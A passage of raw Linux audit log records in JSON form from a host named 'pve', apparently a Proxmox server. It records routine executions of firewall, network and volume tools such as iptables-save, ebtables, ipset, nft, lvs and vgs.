cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695534,"@rawstring":"node=pve type=PATH msg=audit(1781964695.534:62205): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695534,"@rawstring":"node=pve type=PATH msg=audit(1781964695.534:62205): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695528,"@rawstring":"node=pve type=PATH msg=audit(1781964695.528:62204): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695528,"@rawstring":"node=pve type=PATH msg=audit(1781964695.528:62204): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695523,"@rawstring":"node=pve type=PATH msg=audit(1781964695.523:62202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695523,"@rawstring":"node=pve type=PATH msg=audit(1781964695.523:62202): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695518,"@rawstring":"node=pve type=PATH msg=audit(1781964695.518:62201): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695518,"@rawstring":"node=pve type=PATH msg=audit(1781964695.518:62201): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695513,"@rawstring":"node=pve type=PATH msg=audit(1781964695.513:62200): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695513,"@rawstring":"node=pve type=PATH msg=audit(1781964695.513:62200): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695508,"@rawstring":"node=pve type=PATH msg=audit(1781964695.508:62199): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695508,"@rawstring":"node=pve type=PATH msg=audit(1781964695.508:62199): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695501,"@rawstring":"node=pve type=PATH msg=audit(1781964695.501:62198): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695501,"@rawstring":"node=pve type=PATH msg=audit(1781964695.501:62198): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695496,"@rawstring":"node=pve type=PATH msg=audit(1781964695.496:62197): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695496,"@rawstring":"node=pve type=PATH msg=audit(1781964695.496:62197): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695488,"@rawstring":"node=pve type=PATH msg=audit(1781964695.488:62196): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695488,"@rawstring":"node=pve type=PATH msg=audit(1781964695.488:62196): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695476,"@rawstring":"node=pve type=PATH msg=audit(1781964695.476:62195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695476,"@rawstring":"node=pve type=PATH msg=audit(1781964695.476:62195): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695472,"@rawstring":"node=pve type=PATH msg=audit(1781964695.472:62194): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695472,"@rawstring":"node=pve type=PATH msg=audit(1781964695.472:62194): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695469,"@rawstring":"node=pve type=PATH msg=audit(1781964695.469:62193): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695469,"@rawstring":"node=pve type=PATH msg=audit(1781964695.469:62193): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695468,"@rawstring":"node=pve type=PATH msg=audit(1781964695.468:62192): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695468,"@rawstring":"node=pve type=PATH msg=audit(1781964695.468:62192): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695468,"@rawstring":"node=pve type=PATH msg=audit(1781964695.468:62191): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695464,"@rawstring":"node=pve type=PATH msg=audit(1781964695.464:62190): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695464,"@rawstring":"node=pve type=PATH msg=audit(1781964695.464:62190): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695464,"@rawstring":"node=pve type=PATH msg=audit(1781964695.464:62190): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695458,"@rawstring":"node=pve type=PATH msg=audit(1781964695.458:62189): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695458,"@rawstring":"node=pve type=PATH msg=audit(1781964695.458:62189): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695451,"@rawstring":"node=pve type=PATH msg=audit(1781964695.451:62188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695451,"@rawstring":"node=pve type=PATH msg=audit(1781964695.451:62188): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695447,"@rawstring":"node=pve type=PATH msg=audit(1781964695.447:62187): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695447,"@rawstring":"node=pve type=PATH msg=audit(1781964695.447:62187): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695441,"@rawstring":"node=pve type=PATH msg=audit(1781964695.441:62186): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695441,"@rawstring":"node=pve type=PATH msg=audit(1781964695.441:62186): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695435,"@rawstring":"node=pve type=PATH msg=audit(1781964695.435:62185): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695435,"@rawstring":"node=pve type=PATH msg=audit(1781964695.435:62185): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695322,"@rawstring":"node=pve type=PATH msg=audit(1781964695.322:62184): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695322,"@rawstring":"node=pve type=PATH msg=audit(1781964695.322:62184): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695322,"@rawstring":"node=pve type=PATH msg=audit(1781964695.322:62183): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695322,"@rawstring":"node=pve type=PATH msg=audit(1781964695.322:62182): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=PATH msg=audit(1781964695.314:62181): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=PATH msg=audit(1781964695.314:62181): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=PATH msg=audit(1781964695.314:62180): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964695314,"@rawstring":"node=pve type=PATH msg=audit(1781964695.314:62179): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964694881,"@rawstring":"node=pve type=PATH msg=audit(1781964694.881:62178): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964694881,"@rawstring":"node=pve type=PATH msg=audit(1781964694.881:62178): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964694849,"@rawstring":"node=pve type=PATH msg=audit(1781964694.849:62177): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964694849,"@rawstring":"node=pve type=PATH msg=audit(1781964694.849:62177): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690309,"@rawstring":"node=pve type=PATH msg=audit(1781964690.309:62176): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690309,"@rawstring":"node=pve type=PATH msg=audit(1781964690.309:62176): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690309,"@rawstring":"node=pve type=PATH msg=audit(1781964690.309:62175): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690309,"@rawstring":"node=pve type=PATH msg=audit(1781964690.309:62174): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690302,"@rawstring":"node=pve type=PATH msg=audit(1781964690.302:62173): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690302,"@rawstring":"node=pve type=PATH msg=audit(1781964690.302:62173): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690302,"@rawstring":"node=pve type=PATH msg=audit(1781964690.302:62172): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964690302,"@rawstring":"node=pve type=PATH msg=audit(1781964690.302:62171): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685423,"@rawstring":"node=pve type=PATH msg=audit(1781964685.423:62170): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685423,"@rawstring":"node=pve type=PATH msg=audit(1781964685.423:62170): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685420,"@rawstring":"node=pve type=PATH msg=audit(1781964685.420:62169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685420,"@rawstring":"node=pve type=PATH msg=audit(1781964685.420:62169): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685418,"@rawstring":"node=pve type=PATH msg=audit(1781964685.418:62168): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685418,"@rawstring":"node=pve type=PATH msg=audit(1781964685.418:62168): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685418,"@rawstring":"node=pve type=PATH msg=audit(1781964685.418:62167): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685414,"@rawstring":"node=pve type=PATH msg=audit(1781964685.414:62166): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685414,"@rawstring":"node=pve type=PATH msg=audit(1781964685.414:62166): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685414,"@rawstring":"node=pve type=PATH msg=audit(1781964685.414:62166): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685408,"@rawstring":"node=pve type=PATH msg=audit(1781964685.408:62165): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685408,"@rawstring":"node=pve type=PATH msg=audit(1781964685.408:62165): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685401,"@rawstring":"node=pve type=PATH msg=audit(1781964685.401:62164): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685401,"@rawstring":"node=pve type=PATH msg=audit(1781964685.401:62164): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685395,"@rawstring":"node=pve type=PATH msg=audit(1781964685.395:62163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685395,"@rawstring":"node=pve type=PATH msg=audit(1781964685.395:62163): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685388,"@rawstring":"node=pve type=PATH msg=audit(1781964685.388:62162): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685388,"@rawstring":"node=pve type=PATH msg=audit(1781964685.388:62162): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685383,"@rawstring":"node=pve type=PATH msg=audit(1781964685.383:62160): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685383,"@rawstring":"node=pve type=PATH msg=audit(1781964685.383:62160): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685378,"@rawstring":"node=pve type=PATH msg=audit(1781964685.378:62159): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685378,"@rawstring":"node=pve type=PATH msg=audit(1781964685.378:62159): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685373,"@rawstring":"node=pve type=PATH msg=audit(1781964685.373:62158): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685373,"@rawstring":"node=pve type=PATH msg=audit(1781964685.373:62158): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685367,"@rawstring":"node=pve type=PATH msg=audit(1781964685.367:62157): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685367,"@rawstring":"node=pve type=PATH msg=audit(1781964685.367:62157): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685362,"@rawstring":"node=pve type=PATH msg=audit(1781964685.362:62156): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685362,"@rawstring":"node=pve type=PATH msg=audit(1781964685.362:62156): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685357,"@rawstring":"node=pve type=PATH msg=audit(1781964685.357:62155): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685357,"@rawstring":"node=pve type=PATH msg=audit(1781964685.357:62155): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685350,"@rawstring":"node=pve type=PATH msg=audit(1781964685.350:62154): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685350,"@rawstring":"node=pve type=PATH msg=audit(1781964685.350:62154): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685344,"@rawstring":"node=pve type=PATH msg=audit(1781964685.344:62153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685344,"@rawstring":"node=pve type=PATH msg=audit(1781964685.344:62153): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964685340,"@rawstring":"node=pve type=PATH msg=audit(1781964685.340:62152): item=1 